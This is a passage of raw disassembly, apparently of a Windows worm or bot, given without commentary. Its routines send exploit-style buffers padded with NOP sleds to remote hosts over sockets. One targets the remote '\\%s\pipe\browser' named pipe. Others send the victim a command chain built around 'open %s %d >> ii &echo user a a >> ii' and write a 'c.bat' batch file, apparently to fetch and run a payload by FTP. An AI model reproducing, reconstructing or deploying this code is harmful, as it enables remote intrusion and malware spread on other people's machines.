		push	ecx
		call	sub_40102D
		add	esp, 8
		lea	ecx, [esp+440h+var_434]
		call	sub_4014DD
		push	eax
		push	esi
		call	sub_4013D4
		add	esp, 8
		test	al, al
		jz	short loc_4256AE
		lea	edx, [esp+440h+var_434]
		push	offset aEchoExitYC_bat ; "echo exit /y >>c.bat\r\n"
		push	edx
		call	sub_40102D
		add	esp, 8
		lea	ecx, [esp+440h+var_434]
		call	sub_4014DD
		push	eax
		push	esi
		call	sub_4013D4
		add	esp, 8
		test	al, al
		jz	short loc_4256AE
		lea	eax, [esp+440h+var_434]
		push	offset dword_4467A4
		push	eax
		call	sub_40102D
		add	esp, 8
		lea	ecx, [esp+440h+var_434]
		call	sub_4014DD
		push	eax
		push	esi
		call	sub_4013D4
		add	esp, 8
		test	al, al
		jnz	short loc_4256C2


loc_4256AE:				; CODE XREF: sub_4253C0+F3j
					; sub_4253C0+120j ...
		lea	ecx, [esp+440h+var_434]
		mov	[esp+440h+var_4], ebx
		call	sub_401226


loc_4256BE:				; CODE XREF: sub_4253C0+6Fj
					; sub_4253C0+85j
		xor	al, al
		jmp	short loc_4256EA
; ---------------------------------------------------------------------------


loc_4256C2:				; CODE XREF: sub_4253C0+2ECj
		push	0
		lea	ecx, [esp+444h+var_40C]
		push	400h
		push	ecx
		push	esi
		call	edi	; recv
		push	esi
		nop
		call	near ptr 71AB9639h
		lea	ecx, [esp+440h+var_434]
		mov	[esp+440h+var_4], ebx
		call	sub_401226
		mov	al, 1


loc_4256EA:				; CODE XREF: sub_4253C0+300j
		mov	ecx, [esp+440h+var_C]
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 434h
		retn
sub_4253C0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 0E0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4257F0	proc near		; CODE XREF: sub_40180Cj

var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_28		= byte ptr  2Ch
arg_2C		= byte ptr  30h
arg_2F		= byte ptr  33h
arg_59		= byte ptr  5Dh
arg_5B		= byte ptr  5Fh
arg_5C		= byte ptr  60h
arg_90		= byte ptr  94h
arg_A4		= byte ptr  0A8h
arg_A5		= byte ptr  0A9h
arg_F0		= byte ptr  0F4h
arg_190		= byte ptr  194h
arg_89C		= dword	ptr  8A0h
arg_8AC		= byte ptr  8B0h
arg_8D4		= dword	ptr  8D8h
arg_8E4		= byte ptr  8E8h
arg_C08		= dword	ptr  0C0Ch
arg_C0C		= dword	ptr  0C10h
arg_C18		= byte ptr  0C1Ch
arg_E30		= byte ptr  0E34h
arg_E50		= byte ptr  0E54h
arg_E70		= byte ptr  0E74h
arg_E90		= byte ptr  0E94h
arg_1480	= byte ptr  1484h
arg_14E0	= byte ptr  14E4h
arg_14FC	= byte ptr  1500h
arg_1CCC	= byte ptr  1CD0h
arg_2177	= byte ptr  217Bh
arg_2464	= byte ptr  2468h
arg_24C5	= byte ptr  24C9h
arg_34F8	= byte ptr  34FCh
arg_3FA0	= byte ptr  3FA4h
arg_3FC0	= byte ptr  3FC4h
arg_401C	= byte ptr  4020h
arg_401D	= byte ptr  4021h
arg_4020	= byte ptr  4024h
arg_4030	= byte ptr  4034h
arg_4AF4	= byte ptr  4AF8h
arg_6098	= byte ptr  609Ch
arg_60F8	= byte ptr  60FCh
arg_6100	= byte ptr  6104h
arg_8140	= byte ptr  8144h
arg_81DC	= byte ptr  81E0h
arg_8234	= dword	ptr  8238h
arg_8290	= dword	ptr  8294h
arg_8294	= dword	ptr  8298h

		mov	eax, 81D8h
		call	sub_437B30
		mov	eax, dword_446904
		mov	ecx, dword_446908
		push	ebx
		push	ebp
		push	esi
		lea	edx, [esp+0Ch+arg_81DC]
		push	edi
		mov	[esp+10h], eax
		push	edx
		lea	eax, [esp+14h+arg_4]
		push	offset dword_4468F8
		push	eax
		mov	[esp+1Ch+arg_0], ecx
		nop
		call	sub_5F285B
		add	esp, 0Ch
		xor	eax, eax
		lea	ecx, [esp+10h+arg_A5]


loc_425835:				; CODE XREF: sub_4257F0+56j
		mov	dl, [esp+eax+10h+arg_4]
		inc	eax
		mov	[ecx-1], dl
		mov	byte ptr [ecx],	0
		add	ecx, 2
		cmp	eax, 28h
		jl	short loc_425835
		mov	ecx, 18h
		mov	esi, offset dword_4461C8
		lea	edi, [esp+10h+arg_2C]
		xor	eax, eax
		rep movsd
		lea	edi, [esp+10h+arg_4]
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		lea	esi, [esp+10h+arg_A4]
		shl	ecx, 1
		mov	eax, ecx
		lea	edi, [esp+10h+arg_5C]
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		mov	edx, dword_44621F
		rep movsb
		lea	edi, [esp+10h+arg_4]
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		mov	eax, dword_446223
		dec	ecx
		lea	edi, [esp+10h+arg_4]
		lea	ecx, [esp+ecx*2+10h+arg_5B]
		mov	[ecx], edx
		mov	dl, byte_446227
		mov	[ecx+4], eax
		xor	eax, eax
		mov	[ecx+8], dl
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		lea	edi, [esp+10h+arg_4]
		mov	ebx, ecx
		or	ecx, 0FFFFFFFFh
		add	bl, 1Ah
		shl	bl, 1
		repne scasb
		mov	ax, word_510108
		mov	[esp+10h+arg_2F], bl
		not	ecx
		dec	ecx
		push	eax
		shl	cl, 1
		add	cl, 9
		mov	[esp+14h+arg_59], cl
		nop
		call	near ptr 71AB2B66h
		mov	edx, [esp+14h+arg_8294]
		xor	eax, 9999h
		test	edx, edx
		mov	word_445EC8, ax
		jz	loc_4259E3
		mov	ecx, 36Bh
		mov	eax, 90909090h
		lea	edi, [esp+14h+arg_F0]
		mov	edx, dword_4465BC[edx*8]
		rep stosd
		mov	edi, offset loc_445E18
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		mov	esi, offset loc_445E18
		repne scasb
		not	ecx
		dec	ecx
		lea	edi, [esp+14h+arg_8E4]
		mov	eax, ecx
		mov	[esp+14h+arg_8D4], edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		rep movsb
		mov	ecx, dword_4468F0
		mov	edi, offset loc_445E18
		mov	[esp+14h+arg_C08], ecx
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		mov	[esp+14h+arg_C0C], edx
		mov	edx, ecx
		mov	esi, offset loc_445E18
		lea	edi, [esp+14h+arg_C18]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		lea	ecx, [esp+14h+arg_24C5]


loc_42598F:				; CODE XREF: sub_4257F0+1B5j
		mov	dl, [esp+eax+14h+arg_F0]
		inc	eax
		mov	[ecx-1], dl
		mov	byte ptr [ecx],	0
		add	ecx, 2
		cmp	eax, 0DACh
		jl	short loc_42598F
		mov	ecx, 714h
		mov	eax, 31313131h
		lea	edi, [esp+14h+arg_60F8]
		mov	[esp+14h+arg_401C], 0
		rep stosd
		stosw
		mov	ecx, 714h
		mov	eax, 31313131h
		lea	edi, [esp+14h+arg_4020]
		mov	[esp+14h+arg_401D], 0
		rep stosd
		stosw
		jmp	short loc_425A52
; ---------------------------------------------------------------------------


loc_4259E3:				; CODE XREF: sub_4257F0+10Bj
		mov	ecx, 1F4h
		mov	eax, 90909090h
		lea	edi, [esp+14h+arg_F0]
		mov	esi, offset loc_445E18
		rep stosd
		mov	edi, offset loc_445E18
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		lea	edi, [esp+14h+arg_190]
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		rep movsb
		lea	edi, [esp+14h+var_4]
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		lea	esi, [esp+14h+var_4]
		mov	edx, ecx
		lea	edi, [esp+14h+arg_8AC]
		shr	ecx, 2
		rep movsd
		mov	eax, dword_4465BC
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	[esp+14h+arg_89C], eax


loc_425A52:				; CODE XREF: sub_4257F0+1F1j
		mov	ecx, 38Ah
		mov	eax, 31313131h
		lea	edi, [esp+14h+arg_14E0]
		mov	ebp, [esp+14h+arg_8290]
		rep stosd
		movsx	ecx, bl
		mov	ebx, dword_511CA0
		add	ecx, 4
		push	0
		lea	edx, [esp+18h+arg_28]
		push	ecx
		push	edx
		push	ebp
		stosb
		call	ebx	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_425A96
		xor	al, al
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 81D8h
		retn
; ---------------------------------------------------------------------------


loc_425A96:				; CODE XREF: sub_4257F0+297j
		mov	esi, dword_511CA4
		push	0
		lea	eax, [esp+28h+arg_E90]
		push	640h
		push	eax
		push	ebp
		call	esi	; recv
		push	0
		push	68h
		push	offset dword_44622C
		push	ebp
		call	ebx	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_425ACC
		xor	al, al
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 81D8h
		retn
; ---------------------------------------------------------------------------


loc_425ACC:				; CODE XREF: sub_4257F0+2CDj
		push	0
		lea	ecx, [esp+48h+arg_E70]
		push	640h
		push	ecx
		push	ebp
		call	esi	; recv
		push	0
		push	0A0h
		push	offset dword_446298
		push	ebp
		call	ebx	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_425AFF
		xor	al, al
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 81D8h
		retn
; ---------------------------------------------------------------------------


loc_425AFF:				; CODE XREF: sub_4257F0+300j
		push	0
		lea	edx, [esp+68h+arg_E50]
		push	640h
		push	edx
		push	ebp
		call	esi	; recv
		mov	eax, [esp+74h+arg_8234]
		test	eax, eax
		jz	loc_425BE5
		mov	ecx, 1Ah
		mov	esi, offset dword_446450
		lea	edi, [esp+74h+arg_6098]
		push	0
		rep movsd
		mov	ecx, 6D6h
		lea	esi, [esp+78h+arg_2464]
		lea	edi, [esp+78h+arg_6100]
		lea	eax, [esp+78h+arg_6098]
		rep movsd
		movsw
		mov	ecx, 1Ch
		mov	esi, offset dword_4464BC
		lea	edi, [esp+78h+arg_3FC0]
		push	10FCh
		rep movsd
		mov	ecx, 297h
		lea	esi, [esp+7Ch+arg_34F8]
		lea	edi, [esp+7Ch+arg_4030]
		push	eax
		rep movsd
		movsw
		mov	ecx, 21h
		mov	esi, offset dword_446530
		lea	edi, [esp+80h+arg_4AF4]
		push	ebp
		rep movsd
		call	ebx	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_425BAB
		xor	al, al
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 81D8h
		retn
; ---------------------------------------------------------------------------


loc_425BAB:				; CODE XREF: sub_4257F0+3ACj
		push	0
		lea	ecx, [esp+88h+arg_E30]
		push	640h
		push	ecx
		push	ebp
		nop
		call	near ptr 71AB615Ah
		push	0
		lea	edx, [esp+98h+arg_3FA0]
		push	0FDCh
		push	edx
		push	ebp
		call	ebx	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_425C4C
		xor	al, al
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 81D8h
		retn
; ---------------------------------------------------------------------------


loc_425BE5:				; CODE XREF: sub_4257F0+32Aj
		mov	ecx, 1Fh
		mov	esi, offset dword_44633C
		lea	edi, [esp+74h+arg_1480]
		push	0
		rep movsd
		mov	ecx, 1F4h
		lea	esi, [esp+78h+arg_90]
		lea	edi, [esp+78h+arg_14FC]
		lea	eax, [esp+78h+arg_1480]
		rep movsd
		mov	ecx, 24h
		mov	esi, offset off_4463BC
		lea	edi, [esp+78h+arg_1CCC]
		push	0CF8h
		push	eax
		push	ebp
		rep movsd
		mov	[esp+84h+arg_2177], 0
		call	ebx	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_425C4C
		xor	al, al
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 81D8h
		retn
; ---------------------------------------------------------------------------


loc_425C4C:				; CODE XREF: sub_4257F0+3E6j
					; sub_4257F0+44Dj
		push	12Ch
		call	near ptr 2820269h
		nop
		sub	esp, 0BCh
		mov	ecx, 2Eh
		lea	esi, [esp+164h+arg_8140]
		mov	edi, esp
		rep movsd
		movsw
		call	sub_4013BB
		add	esp, 0BCh
		test	al, al
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		setnz	al
		add	esp, 81D8h
		retn
sub_4257F0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 130h	dup(0CCh)
; ---------------------------------------------------------------------------


loc_425DC0:				; CODE XREF: ___:00401DCAj
		sub	esp, 650h
		xor	eax, eax
		push	ebx
		mov	[esp+4], eax
		push	esi
		mov	[esp+0Ch], eax
		lea	ecx, [esp+660h]
		push	edi
		mov	[esp+14h], eax
		push	ecx
		mov	[esp+1Ch], eax
		mov	word ptr [esp+10h], 2
		call	near ptr 71AB2BF4h
		nop
		mov	edx, [esp+6FEh]
		mov	[esp+10h], eax
		push	edx
		nop
		call	near ptr 71AB2B66h
		push	6
		push	1
		push	2
		mov	[esp+1Ah], ax
		nop
		call	near ptr 71AB3B91h
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_425E26
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 650h
		retn
; ---------------------------------------------------------------------------


loc_425E26:				; CODE XREF: ___:00425E18j
		lea	eax, [esp+0Ch]
		push	10h
		push	eax
		push	ebx
		nop
		call	near ptr 71AB406Ah
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_425E45
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 650h
		retn
; ---------------------------------------------------------------------------


loc_425E45:				; CODE XREF: ___:00425E37j
		mov	edi, dword_511CA0
		push	0
		push	89h
		push	offset dword_445FB0
		push	ebx
		call	edi	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_425E6B
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 650h
		retn
; ---------------------------------------------------------------------------


loc_425E6B:				; CODE XREF: ___:00425E5Dj
		mov	esi, dword_511CA4
		push	0
		lea	ecx, [esp+20h]
		push	640h
		push	ecx
		push	ebx
		call	esi	; recv
		push	0
		push	0A8h
		push	offset dword_44603C
		push	ebx
		call	edi	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_425EA0
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 650h
		retn
; ---------------------------------------------------------------------------


loc_425EA0:				; CODE XREF: ___:00425E92j
		push	0
		lea	edx, [esp+20h]
		push	640h
		push	edx
		push	ebx
		call	esi	; recv
		push	0
		push	0DEh
		push	offset dword_4460E8
		push	ebx
		call	edi	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_425ECF
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 650h
		retn
; ---------------------------------------------------------------------------


loc_425ECF:				; CODE XREF: ___:00425EC1j
		push	0
		lea	eax, [esp+20h]
		push	640h
		push	eax
		push	ebx
		call	esi	; recv
		movsx	eax, byte ptr [esp+60h]
		sub	eax, 30h
		jz	short loc_425EFB
		dec	eax
		jz	short loc_425EF7
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 650h
		retn
; ---------------------------------------------------------------------------


loc_425EF7:				; CODE XREF: ___:00425EE9j
		push	0
		jmp	short loc_425F2E
; ---------------------------------------------------------------------------


loc_425EFB:				; CODE XREF: ___:00425EE6j
		push	2
		push	ebx
		sub	esp, 0BCh
		mov	ecx, 2Eh
		lea	esi, [esp+724h]
		mov	edi, esp
		rep movsd
		movsw
		call	sub_40180C
		add	esp, 0C4h
		test	al, al
		jz	short loc_425F2C
		mov	esi, 1
		jmp	short loc_425F5A
; ---------------------------------------------------------------------------


loc_425F2C:				; CODE XREF: ___:00425F23j
		push	1


loc_425F2E:				; CODE XREF: ___:00425EF9j
		push	ebx
		mov	ecx, 2Eh
		sub	esp, 0BCh
		lea	esi, [esp+724h]
		mov	edi, esp
		rep movsd
		movsw
		call	sub_40180C
		add	esp, 0C4h
		neg	al
		sbb	eax, eax
		neg	eax
		mov	esi, eax


loc_425F5A:				; CODE XREF: ___:00425F2Aj
		push	ebx
		nop
		call	near ptr 71AB9639h
		test	esi, esi
		jz	short loc_425F88
		sub	esp, 0BCh
		mov	ecx, 2Eh
		lea	esi, [esp+71Ch]
		mov	edi, esp
		rep movsd
		movsw
		call	sub_40114F
		add	esp, 0BCh


loc_425F88:				; CODE XREF: ___:00425F63j
		pop	edi
		pop	esi
		mov	eax, 1
		pop	ebx
		add	esp, 650h
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 80h dup(0CCh)
; ---------------------------------------------------------------------------


loc_426020:				; CODE XREF: ___:00401E51j
		push	edi
		push	0C8h
		nop
		call	near ptr 2820269h
		mov	edx, [esp+0Ch]
		or	ecx, 0FFFFFFFFh
		mov	edi, edx
		xor	eax, eax
		repne scasb
		mov	eax, [esp+8]
		push	0
		not	ecx
		dec	ecx
		push	ecx
		push	edx
		push	eax
		nop
		call	near ptr 71AB428Ah
		cmp	eax, 0FFFFFFFFh
		pop	edi
		setnz	al
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426070	proc near		; CODE XREF: sub_401A55j

var_5A0		= dword	ptr -5A0h
var_59C		= dword	ptr -59Ch
var_598		= dword	ptr -598h
var_594		= dword	ptr -594h
var_590		= byte ptr -590h
var_400		= byte ptr -400h
arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_BC		= dword	ptr  0C0h

		sub	esp, 5A0h
		xor	eax, eax
		push	ebx
		mov	[esp+5A4h+var_5A0], eax
		push	ebp
		mov	[esp+5A8h+var_59C], eax
		push	esi
		lea	ecx, [esp+5ACh+arg_4]
		push	edi
		mov	[esp+5B0h+var_598], eax
		push	ecx
		mov	[esp+5B4h+var_594], eax
		mov	word ptr [esp+5B4h+var_5A0], 2
		nop
		call	near ptr 71AB2BF4h
		mov	edx, [esp+5B0h+arg_BC]
		mov	[esp+5B0h+var_59C], eax
		push	edx
		nop
		call	near ptr 71AB2B66h
		push	0
		push	1
		push	2
		mov	word ptr [esp+5BCh+var_5A0+2], ax
		nop
		call	near ptr 71AB3B91h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_4260D8
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 5A0h
		retn
; ---------------------------------------------------------------------------


loc_4260D8:				; CODE XREF: sub_426070+59j
		lea	eax, [esp+5B0h+var_5A0]
		push	10h
		push	eax
		push	esi
		nop
		call	near ptr 71AB406Ah
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4260F8
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 5A0h
		retn
; ---------------------------------------------------------------------------


loc_4260F8:				; CODE XREF: sub_426070+79j
		push	0
		lea	ecx, [esp+5B4h+var_400]
		push	400h
		push	ecx
		push	esi
		nop
		call	near ptr 71AB615Ah
		mov	ecx, offset byte_449511
		call	sub_4017EE
		push	eax
		mov	ecx, offset byte_449511
		call	sub_4017EE
		mov	edx, dword_44964F
		push	eax
		mov	eax, [esp+5B8h+arg_0]
		push	edx
		push	eax
		call	sub_401E10
		mov	ebx, dword_511AE4
		add	esp, 4
		lea	ecx, [esp+5BCh+var_590]
		push	eax
		push	offset aOpenSDIiEchoUs ; "open %s %d >>	ii &echo user a	a >> ii	&"...
		push	190h
		push	ecx
		call	ebx	; _snprintf
		lea	edi, [esp+5CCh+var_590]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 1Ch
		repne scasb
		mov	ebp, dword_511CA0
		push	0
		not	ecx
		dec	ecx
		lea	edx, [esp+5B4h+var_590]
		push	ecx
		push	edx
		push	esi
		call	ebp	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_426187
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 5A0h
		retn
; ---------------------------------------------------------------------------


loc_426187:				; CODE XREF: sub_426070+108j
		push	1F4h
		call	near ptr 2820269h
		nop
		mov	ecx, offset byte_449511
		call	sub_4017EE
		push	eax
		push	offset aS_3	; "%s\r\n"
		lea	eax, [esp+5B8h+var_590]
		push	190h
		push	eax
		call	ebx	; _snprintf
		lea	edi, [esp+5C0h+var_590]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 10h
		repne scasb
		not	ecx
		dec	ecx
		push	0
		push	ecx
		lea	ecx, [esp+5B8h+var_590]
		push	ecx
		push	esi
		call	ebp	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4261DC
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 5A0h
		retn
; ---------------------------------------------------------------------------


loc_4261DC:				; CODE XREF: sub_426070+15Dj
		push	0
		lea	edx, [esp+5B4h+var_400]
		push	400h
		push	edx
		push	esi
		nop
		call	near ptr 71AB615Ah
		push	esi
		call	near ptr 71AB9639h
		nop
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 5A0h
		retn
sub_426070	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 70h dup(0CCh)
; ---------------------------------------------------------------------------


loc_426280:				; CODE XREF: ___:00402199j
		mov	eax, 1E88h
		call	sub_437B30
		push	esi
		push	edi
		mov	ecx, 20Ch
		xor	eax, eax
		lea	edi, [esp+238h]
		mov	esi, offset dword_4469AC
		rep stosd
		mov	ecx, 0FAh
		mov	eax, 90909090h
		lea	edi, [esp+0A68h]
		mov	edx, dword_51010C
		rep stosd
		mov	ecx, 56h
		lea	edi, [esp+0CDEh]
		rep movsd
		mov	eax, dword_446C24
		mov	ecx, 10h
		movsw
		movsb
		lea	edi, [esp+0E50h]
		mov	esi, offset dword_44695C
		rep stosd
		mov	eax, dword_446C1C
		mov	ecx, 0Bh
		lea	edi, [esp+238h]
		rep movsd
		mov	ecx, 10Ah
		lea	esi, [esp+0A68h]
		lea	edi, [esp+270h]
		mov	[esp+264h], eax
		mov	[esp+268h], edx
		mov	[esp+26Ch], eax
		rep movsd
		mov	ecx, 7
		mov	esi, offset dword_44698C
		lea	edi, [esp+69Ch]
		mov	ax, word_446C18
		mov	[esp+698h], edx
		lea	edx, [esp+30h]
		rep movsd
		mov	esi, dword_511AE4
		lea	ecx, [esp+1E98h]
		push	ecx
		push	offset dword_4468F8
		push	104h
		push	edx
		mov	[esp+6BCh], ax
		call	esi	; _snprintf
		add	esp, 10h
		xor	edi, edi
		lea	ecx, [esp+10h]
		lea	eax, [esp+30h]
		push	edi
		push	offset byte_448F30
		push	offset byte_448F30
		push	ecx
		mov	[esp+24h], edi
		mov	[esp+30h], edi
		mov	[esp+3Ch], edi
		mov	[esp+34h], eax
		call	sub_4382AA
; ---------------------------------------------------------------------------
		test	eax, eax
		jz	short loc_4263A5
		or	eax, 0FFFFFFFFh
		pop	edi
		pop	esi
		add	esp, 1E88h
		retn
; ---------------------------------------------------------------------------


loc_4263A5:				; CODE XREF: ___:00426397j
		lea	edx, [esp+1E98h]
		lea	eax, [esp+134h]
		push	edx
		push	offset aSPipeBrowser ; "\\\\%s\\pipe\\browser"
		push	104h
		push	eax
		call	esi	; _snprintf
		add	esp, 10h
		lea	ecx, [esp+134h]
		push	edi
		push	edi
		push	3
		push	edi
		push	edi
		push	0C0000000h
		push	ecx
		call	near ptr 2850000h
		nop
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_4263EF
		or	eax, eax
		pop	edi
		pop	esi
		add	esp, 1E88h
		retn
; ---------------------------------------------------------------------------


loc_4263EF:				; CODE XREF: ___:004263E2j
		lea	edx, [esp+0Ch]
		push	edi
		push	edx
		lea	eax, [esp+0E98h]
		push	1000h
		push	eax
		push	49h
		push	offset dword_446910
		push	esi
		nop
		call	near ptr 2770000h
		test	eax, eax
		jnz	short loc_426427
		push	esi
		call	near ptr 2830000h
		nop
		or	eax, 0FFFFFFFFh
		pop	edi
		pop	esi
		add	esp, 1E88h
		retn
; ---------------------------------------------------------------------------


loc_426427:				; CODE XREF: ___:00426412j
		lea	ecx, [esp+8]
		push	edi
		push	ecx
		lea	edx, [esp+240h]
		push	830h
		push	edx
		push	esi
		call	near ptr 27D0000h
		nop
		test	eax, eax
		jnz	short loc_426458
		push	esi
		nop
		call	near ptr 2830000h
		or	eax, 0FFFFFFFFh
		pop	edi
		pop	esi
		add	esp, 1E88h
		retn
; ---------------------------------------------------------------------------


loc_426458:				; CODE XREF: ___:00426443j
		push	115Ch
		mov	ecx, 2Eh
		sub	esp, 0BCh
		lea	esi, [esp+1F54h]
		mov	edi, esp
		rep movsd
		movsw
		call	sub_401A55
		add	esp, 0C0h
		neg	al
		sbb	eax, eax
		pop	edi
		neg	eax
		pop	esi
		add	esp, 1E88h
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 90h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426520	proc near		; CODE XREF: sub_4013CAj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	edi
		mov	edi, [esp+4+arg_4]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		mov	edi, [esp+4+arg_0]
		not	ecx
		dec	ecx
		mov	edx, ecx
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		pop	edi
		lea	eax, [ecx+edx*2+0C1h]
		retn
sub_426520	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426560	proc near		; CODE XREF: sub_401794j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	ebx, [esp+4+arg_8]
		push	esi
		mov	esi, [esp+8+arg_C]
		push	esi
		push	ebx
		call	sub_4013CA
		mov	ecx, [esp+10h+arg_4]
		add	esp, 8
		cmp	eax, ecx
		mov	[esp+8+arg_8], eax
		jbe	short loc_426585
		pop	esi
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_426585:				; CODE XREF: sub_426560+1Ej
		push	ebp
		push	edi
		or	ecx, 0FFFFFFFFh
		mov	edi, ebx
		xor	eax, eax
		mov	ebp, [esp+10h+arg_0]
		repne scasb
		not	ecx
		dec	ecx
		mov	edi, esi
		mov	edx, ecx
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		mov	esi, offset dword_446C5C
		mov	eax, ecx
		mov	edi, ebp
		lea	ecx, [eax+edx+12h]
		mov	dword_446CC0, ecx
		lea	ecx, [eax+1]
		mov	dword_446CE1, ecx
		lea	ecx, [eax+17h]
		mov	dword_446CD9, ecx
		mov	ecx, 0FFFFFFEDh
		sub	ecx, eax
		mov	dword_446CEF, ecx
		mov	ecx, 1Dh
		rep movsd
		mov	ecx, edx
		mov	esi, ebx
		mov	ebx, ecx
		lea	edi, [ebp+74h]
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		add	edx, 74h
		and	ecx, 3
		rep movsb
		mov	esi, dword_446CD0
		lea	ecx, [edx+ebp]
		add	edx, 5
		mov	[ecx], esi
		mov	bl, byte_446CD4
		mov	esi, [esp+10h+arg_C]
		lea	edi, [edx+ebp]
		mov	[ecx+4], bl
		mov	ecx, eax
		mov	ebx, ecx
		add	edx, eax
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		and	ecx, 3
		rep movsb
		mov	esi, dword_446CD5
		lea	ecx, [edx+ebp]
		add	edx, 10h
		mov	[ecx], esi
		mov	esi, dword_446CD9
		lea	edi, [edx+ebp]
		mov	[ecx+4], esi
		mov	esi, dword_446CDD
		mov	[ecx+8], esi
		mov	esi, dword_446CE1
		mov	[ecx+0Ch], esi
		mov	esi, [esp+10h+arg_C]
		mov	ecx, eax
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		and	ecx, 3
		rep movsb
		lea	edi, [edx+eax]
		mov	eax, [esp+10h+arg_8]
		add	edi, ebp
		mov	ecx, 0Eh
		mov	esi, offset byte_446CE5
		rep movsd
		pop	edi
		pop	ebp
		pop	esi
		pop	ebx
		retn
sub_426560	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4266D0	proc near		; CODE XREF: sub_402180j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_4013CA
		push	eax
		call	sub_4017C6
		add	esp, 0Ch
		retn
sub_4266D0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_426700:				; CODE XREF: ___:0040173Fj
		push	ebx
		mov	ebx, [esp+10h]
		push	ebp
		push	edi
		mov	edi, [esp+1Ch]
		push	edi
		push	ebx
		call	sub_402180
		mov	ebp, [esp+1Ch]
		add	esp, 8
		cmp	eax, ebp
		jbe	short loc_426723
		pop	edi
		pop	ebp
		xor	eax, eax
		pop	ebx
		retn
